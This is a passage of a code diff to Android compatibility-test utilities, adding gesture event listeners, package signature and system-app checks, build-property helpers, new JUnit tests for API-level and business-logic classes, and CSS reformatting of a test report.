+ yCoordsForListener[historyIndex] = stepMoveY;
+ }
}
}
eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
uiAutomation.injectInputEvent(eventMove, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
+ }
eventMove.recycle();
prevEventTime = eventTime;
@@ -280,12 +334,16 @@
}
private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
- boolean useCurrentEventTime, int xOnScreen, int yOnScreen) {
+ boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
+ EventInjectionListener eventInjectionListener) {
long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
MotionEvent eventUp = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
uiAutomation.injectInputEvent(eventUp, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
+ }
eventUp.recycle();
}
@@ -300,6 +358,22 @@
*/
public static int emulateFlingGesture(Instrumentation instrumentation,
View view, boolean isDownwardsFlingGesture) {
+ return emulateFlingGesture(instrumentation, view, isDownwardsFlingGesture, null);
+ }
+
+ /**
+ * Emulates a fling gesture across the horizontal center of the passed view.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to fling
+ * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+ * be a downwards gesture
+ * @param eventInjectionListener optional listener to notify about the injected events
+ * @return The vertical amount of emulated fling in pixels
+ */
+ public static int emulateFlingGesture(Instrumentation instrumentation,
+ View view, boolean isDownwardsFlingGesture,
+ EventInjectionListener eventInjectionListener) {
final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
configuration.getScaledMaximumFlingVelocity()) / 2;
@@ -320,7 +394,8 @@
final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
// And do the same event injection sequence as our generic drag gesture
- emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16);
+ emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16,
+ eventInjectionListener);
return amountY;
}
@@ -480,11 +555,11 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
if (upGesture) {
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
}
// Wait for the system to process all events in the queue
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
index 836d745..ebf881a 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -82,6 +82,15 @@
return hasSystemFeature(WATCH_FEATURE);
}
+ /** Returns true if the device is a low ram device:
+ * 1. API level >= O
+ * 2. device has feature LOW_RAM_FEATURE
+ */
+ public static boolean isLowRam() {
+ return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O) &&
+ hasSystemFeature(LOW_RAM_FEATURE);
+ }
+
private static PackageManager getPackageManager() {
return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
index 674fc31..260e569 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -16,30 +16,88 @@
package com.android.compatibility.common.util;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.os.Build;
import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
/**
* Device-side utility class for PackageManager-related operations
*/
public class PackageUtil {
- private static final String TAG = PackageUtil.class.getSimpleName();
- private static boolean hasDeviceFeature(final String requiredFeature) {
- return InstrumentationRegistry.getContext()
- .getPackageManager()
- .hasSystemFeature(requiredFeature);
+ private static final int SYSTEM_APP_MASK =
+ ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
+ private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+ /** Returns true if a package with the given name exists on the device */
+ public static boolean exists(String packageName) {
+ try {
+ return (getPackageManager().getApplicationInfo(packageName,
+ PackageManager.GET_META_DATA) != null);
+ } catch(PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns true if a package with the given name AND SHA digest exists on the device */
+ public static boolean exists(String packageName, String sha) {
+ try {
+ if (getPackageManager().getApplicationInfo(
+ packageName, PackageManager.GET_META_DATA) == null) {
+ return false;
+ }
+ return sha.equals(computePackageSignatureDigest(packageName));
+ } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns true if the app for the given package name is a system app for this device */
+ public static boolean isSystemApp(String packageName) {
+ try {
+ ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
+ PackageManager.GET_META_DATA);
+ return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
+ } catch(PackageManager.NameNotFoundException e) {
+ return false;
+ }
}
/**
- * Rotation support is indicated by explicitly having both landscape and portrait
- * features or not listing either at all.
+ * Compute the signature SHA digest for a package.
+ * @param package the name of the package for which the signature SHA digest is requested
+ * @return the signature SHA digest
*/
- public static boolean supportsRotation() {
- final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
- final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
- return (supportsLandscape && supportsPortrait)
- || (!supportsLandscape && !supportsPortrait);
+ public static String computePackageSignatureDigest(String packageName)
+ throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
+ PackageInfo packageInfo = getPackageManager()
+ .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+ messageDigest.update(packageInfo.signatures[0].toByteArray());
+
+ final byte[] digest = messageDigest.digest();
+ final int digestLength = digest.length;
+ final int charCount = 3 * digestLength - 1;
+
+ final char[] chars = new char[charCount];
+ for (int i = 0; i < digestLength; i++) {
+ final int byteHex = digest[i] & 0xFF;
+ chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+ chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+ if (i < digestLength - 1) {
+ chars[i * 3 + 2] = ':';
+ }
+ }
+ return new String(chars);
+ }
+
+ private static PackageManager getPackageManager() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
}
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index ededfee..0424f69 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,10 +16,17 @@
package com.android.compatibility.common.util;
+import com.android.compatibility.common.util.SystemUtil;
+
import android.os.Build;
+import android.support.test.InstrumentationRegistry;
import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Device-side utility class for reading properties and gathering information for testing
@@ -31,17 +38,38 @@
* Name of read-only property detailing the first API level for which the product was
* shipped. Property should be undefined for factory ROM products.
*/
- public static String FIRST_API_LEVEL = "ro.product.first_api_level";
+ public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+ private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+ private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+ private static final String TAG_DEV_KEYS = "dev-keys";
+
+ public static final String GOOGLE_SETTINGS_QUERY =
+ "content query --uri content://com.google.settings/partner";
/** Value to be returned by getPropertyInt() if property is not found */
public static int INT_VALUE_IF_UNSET = -1;
+ /** Returns whether the device build is a user build */
+ public static boolean isUserBuild() {
+ return propertyEquals(BUILD_TYPE_PROPERTY, "user");
+ }
+
/** Returns whether the device build is the factory ROM */
public static boolean isFactoryROM() {
// property should be undefined if and only if the product is factory ROM.
return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
}
+ /** Returns whether this build is built with dev-keys */
+ public static boolean isDevKeysBuild() {
+ for (String tag : Build.TAGS.split(",")) {
+ if (TAG_DEV_KEYS.equals(tag.trim())) {
+ return true;
+ }
+ }
+ return false;
+ }
+
/**
* Return the first API level for this product. If the read-only property is unset,
* this means the first API level is the current API level, and the current API level
@@ -53,22 +81,74 @@
}
/**
+ * Return the manufacturer of this product. If unset, return null.
+ */
+ public static String getManufacturer() {
+ return getProperty(MANUFACTURER_PROPERTY);
+ }
+
+ /** Returns a mapping from client ID names to client ID values */
+ public static Map<String, String> getClientIds() throws IOException {
+ Map<String,String> clientIds = new HashMap<>();
+ String queryOutput = SystemUtil.runShellCommand(
+ InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
+ for (String line : queryOutput.split("[\\r?\\n]+")) {
+ // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+ Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.find()) {
+ String name = matcher.group(1);
+ String value = matcher.group(2);
+ if (name.contains("client_id")) {
+ clientIds.put(name, value); // only add name-value pair for client ids
+ }
+ }
+ }
+ return clientIds;
+ }
+
+ /** Returns whether the property exists on this device */
+ public static boolean propertyExists(String property) {
+ return getProperty(property) != null;
+ }
+
+ /** Returns whether the property value is equal to a given string */
+ public static boolean propertyEquals(String property, String value) {
+ if (value == null) {
+ return !propertyExists(property); // null value implies property does not exist
+ }
+ return value.equals(getProperty(property));
+ }
+
+ /**
* Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
*/
public static int getPropertyInt(String property) {
+ String value = getProperty(property);
+ if (value == null) {
+ return INT_VALUE_IF_UNSET;
+ }
+ try {
+ return Integer.parseInt(value);
+ } catch (NumberFormatException e) {
+ return INT_VALUE_IF_UNSET;
+ }
+ }
+
+ /** Retrieves the desired property value in string form */
+ public static String getProperty(String property) {
Scanner scanner = null;
- int val = INT_VALUE_IF_UNSET;
try {
Process process = new ProcessBuilder("getprop", property).start();
scanner = new Scanner(process.getInputStream());
- val = Integer.parseInt(scanner.nextLine().trim());
- } catch (IOException | NumberFormatException e) {
- return val = INT_VALUE_IF_UNSET;
+ String value = scanner.nextLine().trim();
+ return (value.isEmpty()) ? null : value;
+ } catch (IOException e) {
+ return null;
} finally {
if (scanner != null) {
scanner.close();
}
}
- return val;
}
}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
new file mode 100644
index 0000000..13305c3
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.os.Build;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@line ApiLevelUtil}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ApiLevelUtilTest {
+
+ @Test
+ public void testComparisonByInt() throws Exception {
+ int version = Build.VERSION.SDK_INT;
+
+ assertFalse(ApiLevelUtil.isBefore(version - 1));
+ assertFalse(ApiLevelUtil.isBefore(version));
+ assertTrue(ApiLevelUtil.isBefore(version + 1));
+
+ assertTrue(ApiLevelUtil.isAfter(version - 1));
+ assertFalse(ApiLevelUtil.isAfter(version));
+ assertFalse(ApiLevelUtil.isAfter(version + 1));
+
+ assertTrue(ApiLevelUtil.isAtLeast(version - 1));
+ assertTrue(ApiLevelUtil.isAtLeast(version));
+ assertFalse(ApiLevelUtil.isAtLeast(version + 1));
+
+ assertFalse(ApiLevelUtil.isAtMost(version - 1));
+ assertTrue(ApiLevelUtil.isAtMost(version));
+ assertTrue(ApiLevelUtil.isAtMost(version + 1));
+ }
+
+ @Test
+ public void testComparisonByString() throws Exception {
+ // test should pass as long as device SDK version is at least 12
+ assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
+ assertTrue(ApiLevelUtil.isAtLeast("12"));
+ }
+
+ @Test
+ public void testResolveVersionString() throws Exception {
+ // can only test versions known to the device build
+ assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
+ assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
+ assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
+ assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
+ assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
+ assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testResolveMisspelledVersionString() throws Exception {
+ ApiLevelUtil.resolveVersionString("GINGERBEARD");
+ }
+}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
new file mode 100644
index 0000000..f24d11d
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@line BusinessLogicDeviceExecutor}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicDeviceExecutorTest {
+
+ private static final String THIS_CLASS =
+ "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
+ private static final String METHOD_1 = THIS_CLASS + ".method1";
+ private static final String METHOD_2 = THIS_CLASS + ".method2";
+ private static final String METHOD_3 = THIS_CLASS + ".method3";
+ private static final String METHOD_4 = THIS_CLASS + ".method4";
+ private static final String METHOD_5 = THIS_CLASS + ".method5";
+ private static final String METHOD_6 = THIS_CLASS + ".method6";
+ private static final String METHOD_7 = THIS_CLASS + ".method7";
+ private static final String METHOD_8 = THIS_CLASS + ".method8";
+ private static final String METHOD_9 = THIS_CLASS + ".method9";
+ private static final String METHOD_10 = THIS_CLASS + ".method10";
+ private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+ private static final String ARG_STRING_1 = "arg1";
+ private static final String ARG_STRING_2 = "arg2";
+
+ private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+ private String mInvoked = null;
+ private Object[] mArgsUsed = null;
+ private Context mContext;
+ private BusinessLogicExecutor mExecutor;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
+ // reset the instance variables tracking the method invoked and the args used
+ mInvoked = null;
+ mArgsUsed = null;
+ // reset the OtherClass class variable tracking the method invoked
+ OtherClass.otherInvoked = null;
+ }
+
+ @Test
+ public void testInvokeMethodInThisClass() throws Exception {
+ mExecutor.invokeMethod(METHOD_1);
+ // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodInOtherClass() throws Exception {
+ mExecutor.invokeMethod(OTHER_METHOD_1);
+ // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+ assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+ OTHER_METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndContextArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+ // assert that String arg and Context arg were correctly set for method3
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+ }
+
+ @Test
+ public void testInvokeMethodWithContextAndStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+ // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
+ assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert both String arguments were correctly set for method5
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert no String arguments were set for method5
+ assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+ // assert both String arguments were correctly set for method6
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithAllArgTypes() throws Exception {
+ mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+ // assert all arguments were correctly set for method7
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+ assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodOneArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeNonExistentMethod() throws Exception {
+ mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooManyArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooFewArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodIncompatibleArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+ }
+
+ @Test
+ public void testExecuteConditionCheckReturnValue() throws Exception {
+ assertTrue("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+ assertFalse("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteInvalidCondition() throws Exception {
+ mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+ }
+
+ @Test
+ public void testExecuteAction() throws Exception {
+ mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteActionThrowException() throws Exception {
+ mExecutor.executeAction(METHOD_9);
+ }
+
+ @Test
+ public void testExecuteActionViolateAssumption() throws Exception {
+ try {
+ mExecutor.executeAction(METHOD_10);
+ // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+ // attribute on @Test annotation, so test using Assert.fail()
+ fail("Expected assumption failure");
+ } catch (AssumptionViolatedException e) {
+ // expected
+ }
+ }
+
+ public void method1() {
+ mInvoked = METHOD_1;
+ }
+
+ // overloaded method with one arg
+ public void method1(String arg1) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1};
+ }
+
+ // overloaded method with two args
+ public void method1(String arg1, String arg2) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public boolean method2(String arg1, String arg2) {
+ mInvoked = METHOD_2;
+ mArgsUsed = new Object[]{arg1, arg2};
+ return arg1.equals(arg2);
+ }
+
+ public void method3(String arg1, Context arg2) {
+ mInvoked = METHOD_3;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ // Same as method3, but flipped args
+ public void method4(Context arg1, String arg2) {
+ mInvoked = METHOD_4;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public void method5(String... args) {
+ mInvoked = METHOD_5;
+ mArgsUsed = args;
+ }
+
+ public void method6(String arg1, String... moreArgs) {
+ mInvoked = METHOD_6;
+ List<String> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new String[0]);
+ }
+
+ public void method7(String arg1, Context arg2, String... moreArgs) {
+ mInvoked = METHOD_7;
+ List<Object> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.add(arg2);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new Object[0]);
+ }
+
+ public void method8(String arg1, Integer arg2) {
+ // This method should never be successfully invoked, since Integer parameter types are
+ // unsupported for the BusinessLogic service
+ }
+
+ // throw AssertionFailedError
+ public void method9() throws AssertionFailedError {
+ assertTrue(false);
+ }
+
+ // throw AssumptionViolatedException
+ public void method10() throws AssumptionViolatedException {
+ assumeTrue(false);
+ }
+
+ public static class OtherClass {
+
+ public static String otherInvoked = null;
+
+ public void method1() {
+ otherInvoked = OTHER_METHOD_1;
+ }
+ }
+}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
new file mode 100644
index 0000000..ad4acbb
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Tests for {@line BusinessLogicTestCase}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicTestCaseTest {
+
+ private static final String KEY_1 = "key1";
+ private static final String KEY_2 = "key2";
+ private static final String VALUE_1 = "value1";
+ private static final String VALUE_2 = "value2";
+
+ DummyTest mDummyTest;
+ DummyTest mOtherDummyTest;
+
+ @Before
+ public void setUp() {
+ mDummyTest = new DummyTest();
+ mOtherDummyTest = new DummyTest();
+ }
+
+ @Test
+ public void testMapPut() throws Exception {
+ mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
+ assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
+ assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
+ assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
+ }
+
+ @Test
+ public void testStaticMapPut() throws Exception {
+ mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
+ assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
+ assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
+ assertTrue("mapPut on static map should affect all instances",
+ mOtherDummyTest.staticMap.containsKey(KEY_2));
+ }
+
+ public static class DummyTest extends BusinessLogicTestCase {
+ public Map<String, String> instanceMap = new HashMap<>();
+ public static Map<String, String> staticMap = new HashMap<>();
+ }
+}
diff --git a/common/host-side/tradefed/res/report/compatibility_result.css b/common/host-side/tradefed/res/report/compatibility_result.css
index 03032ed..991055a 100644
--- a/common/host-side/tradefed/res/report/compatibility_result.css
+++ b/common/host-side/tradefed/res/report/compatibility_result.css
@@ -14,170 +14,159 @@
*/
body {
- font-family:arial,sans-serif;
- color:#000;
- font-size:13px;
- color:#333;
- padding:10;
- margin:10;
+ color: #333;
+ font-family: arial,sans-serif;
+ font-size: 13px;
+ margin: 10;
+ padding: 10;
}
/* Report logo and device name */
table.title {
- padding:5px;
- border-width: 0px;
- margin-left:auto;
- margin-right:auto;
- vertical-align:middle;
+ border-width: 0;
+ margin-left: auto;
+ margin-right: auto;
+ padding: 5px;
+ vertical-align: middle;
}
table.summary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border: 0px solid #A5C639;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border: 0 solid #a5c639;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.summary th {
- background-color: #A5C639;
- font-size: 1.2em;
- padding: 0.5em;
+ background-color: #a5c639;
+ font-size: 1.2em;
+ padding: .5em;
}
table.summary td {
- border-width: 0px 0px 0px 0px;
- border-color: gray;
- border-style: inset;
- font-size: 1em;
- padding: 0.5em;
- vertical-align: top;
+ border: 0 inset #808080;
+ font-size: 1em;
+ padding: .5em;
+ vertical-align: top;
}
table.testsummary {
- background-color: rgb(212, 233, 169);
